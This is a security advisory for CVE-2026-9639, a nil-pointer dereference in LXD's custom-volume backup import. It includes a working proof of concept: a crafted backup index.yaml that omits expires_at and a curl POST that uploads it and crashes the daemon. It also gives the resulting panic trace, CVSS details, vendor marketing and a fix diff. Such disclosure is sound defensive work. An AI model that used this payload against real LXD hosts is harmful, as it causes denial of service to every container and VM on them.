Summary
LXD has CreateCustomVolumeFromBackup nil-pointer dereference on volumes[0].snapshots[*].expires_at
(sibling-field variant of CVE-2026-40197 fix 05bc272)
(*lxdBackend).CreateCustomVolumeFromBackup in lxd/storage/backend_lxd.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with EntitlementCanCreateStorageVolumes permission on any project can crash the lxd daemon by uploading a backup tarball whose volumes[0].snapshots[*].expires_at field is omitted.
This is a sibling-field variant of the CVE-2026-40197 fix (commit 05bc272, "Validate snapshots from backup.yaml are non-nil", cherry-picked from incus commit 985a1dedf / GHSA-r7w7-mmxr-47r9). That fix added if snap == nil guards at several consumer sites, but did not guard the adjacent *snapshot.ExpiresAt deref at line 8216. Every other consumer of this field in the same file already gates the deref with if … != nil (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug.
Vulnerable code
lxd/storage/backend_lxd.go, CreateCustomVolumeFromBackup:
// Line 8141-8150, earliest snapshot validation pass (caches s == nil)
for i, snap := range customVol.Snapshots {
if snap == nil {
return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
}
err = drivers.ValidVolumeName(snap.Name)
...
}
// Line 8196-8216, the snapshot DB-create loop
for i, s := range customVol.Snapshots {
if s == nil {
return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
}
snapshot := s
...
// Line 8216, UNGUARDED *time.Time deref:
err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
*snapshot.ExpiresAt, // <-- panics when expires_at omitted in YAML
snapVol.ContentType(), true, true)
ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go). Every other consumer in the same file already uses the safe pattern (if … != nil { … = *… }):
| Line | Code | Guarded? |
|---|---|---|
| 1010-1011 | rootVol.Snapshots[i].ExpiresAt | YES |
| 1274-1275 | rootVol.Snapshots[i].ExpiresAt | YES |
| 1558-1559 | srcSnap.ExpiresAt | YES |
| 1856-1857 | rootVol.Snapshots[i].ExpiresAt | YES |
| 2454-2455 | rootVol.Snapshots[i].ExpiresAt | YES |
| 5070-5071 | customVol.Snapshots[i].ExpiresAt | YES |
| 5527-5528 | srcSnap.ExpiresAt | YES |
| 8216 | CreateCustomVolumeFromBackup snapshot.ExpiresAt | NO |
Reach
- Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the
EntitlementCanCreateStorageVolumesentitlement on any project. Same auth gate as CVE-2026-40197. POST /1.0/storage-pools/<pool>/volumes/customwithContent-Type: application/octet-streamandX-LXD-name: <name>.- Body is a tar containing
backup/index.yamlwithtype: custom,volumes[0]non-nil, andvolumes[0].snapshots[0]non-nil but missingexpires_at. lxd/storage_volumes.go:storagePoolVolumesPost->backup.GetInfoparses the yaml ->pool.CreateCustomVolumeFromBackup-> the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) ->*snapshot.ExpiresAton line 8216 panics on the nil*time.Time.- The Go runtime kills the entire
lxddaemon process. Repeated POSTs are a persistent denial of service.
Minimal backup/index.yaml:
name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
version: 2
pools:
- {name: default, driver: dir, config: {}}
volumes:
- name: poc-vol
type: custom
pool: default
content_type: filesystem
config: {}
snapshots:
- name: snap0
description: snap0
config: {}
# expires_at intentionally omitted
Proof of concept (end-to-end against running daemon)
Bundled in the report: make_backup.sh + the resulting 516-byte poc-vol-lxd.tar.gz.
Tested against lxd 6.8 (HEAD of canonical/lxd at the time of testing, built from source with make deps && go build -tags libsqlite3 ./lxd). Daemon started with default dir storage pool.
$ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \
--data-binary @/tmp/poc-vol-lxd.tar.gz \
-H 'Content-Type: application/octet-stream' \
-H 'X-LXD-name: poc-vol' \
http://lxd/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}
$ ps -ef | grep lxd | grep -v grep # daemon GONE
Daemon panic from /tmp/lxd.out:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]
goroutine 683 [running]:
github.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...)
github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58
main.createStoragePoolVolumeFromBackup.func6(...)
github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0
github.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...)
github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6c
created by github.com/canonical/lxd/lxd/operations.(*Operation).start in goroutine 655
github.com/canonical/lxd/lxd/operations/operations.go:541 +0x2b8
Stack frame backend_lxd.go:8216 is the literal *snapshot.ExpiresAt line.
Related advisories
GHSA-r7w7-mmxr-47r9(CVE-2026-40197) / commit05bc272(cherry-pick of incus985a1dedf), parent fix: addeds == nilchecks at multiple consumer sites, missed the*snapshot.ExpiresAtderef at line 8216.lxc/incus GHSA-xhqx-mgh3-3h7q(sibling report filed by same reporter against the upstream-equivalent lineinternal/server/storage/backend.go:7731in incus).
The shape is "incomplete fix on a sibling field of the same struct", the maintainer walked nil-checks for the iteration-variable pointer but did not walk every adjacent pointer field that the loop body still dereferences.
Reporter notes
Reported via Privately-Reported Vulnerability against canonical/lxd by tonghuaroot.
Impact
- Severity: denial of service against the entire
lxddaemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process. - Privileges required: any authenticated user with
can_create_storage_volumeson any project. Not behind the admin tier. - Network attack surface: the LXD REST API on
:8443or the unix socket. - CWE-476, Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
- Versions: confirmed at
lxd 6.8(HEAD); the same code exists in the v5.21 LTS line as the parent fix05bc272was a cherry-pick from incus.
The application dereferences a null pointer, causing a crash. Typical impact: denial of service via crash.
CVE-2026-9639 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260622081844-85f897013ccd); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Mirror the guard pattern already in use elsewhere in this file:
--- a/lxd/storage/backend_lxd.go
+++ b/lxd/storage/backend_lxd.go
@@ -8210,9 +8210,14 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(...) error {
snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)
snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config)
// Validate config and create database entry for new storage volume.
// Strip unsupported config keys (in case the export was made from a different type of storage pool).
- err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+ var snapExpiryDate time.Time
+ if snapshot.ExpiresAt != nil {
+ snapExpiryDate = *snapshot.ExpiresAt
+ }
+
+ err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
if err != nil {
return err
}
Frequently Asked Questions
- What is CVE-2026-9639? CVE-2026-9639 is a medium-severity null pointer dereference vulnerability in github.com/canonical/lxd (go), affecting versions < 0.0.0-20260622081844-85f897013ccd. It is fixed in 0.0.0-20260622081844-85f897013ccd. The application dereferences a null pointer, causing a crash.
- How severe is CVE-2026-9639? CVE-2026-9639 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/canonical/lxd are affected by CVE-2026-9639? github.com/canonical/lxd (go) versions < 0.0.0-20260622081844-85f897013ccd is affected.
- Is there a fix for CVE-2026-9639? Yes. CVE-2026-9639 is fixed in 0.0.0-20260622081844-85f897013ccd. Upgrade to this version or later.
- Is CVE-2026-9639 exploitable, and should I be worried? Whether CVE-2026-9639 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-9639 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-9639? Upgrade
github.com/canonical/lxdto 0.0.0-20260622081844-85f897013ccd or later.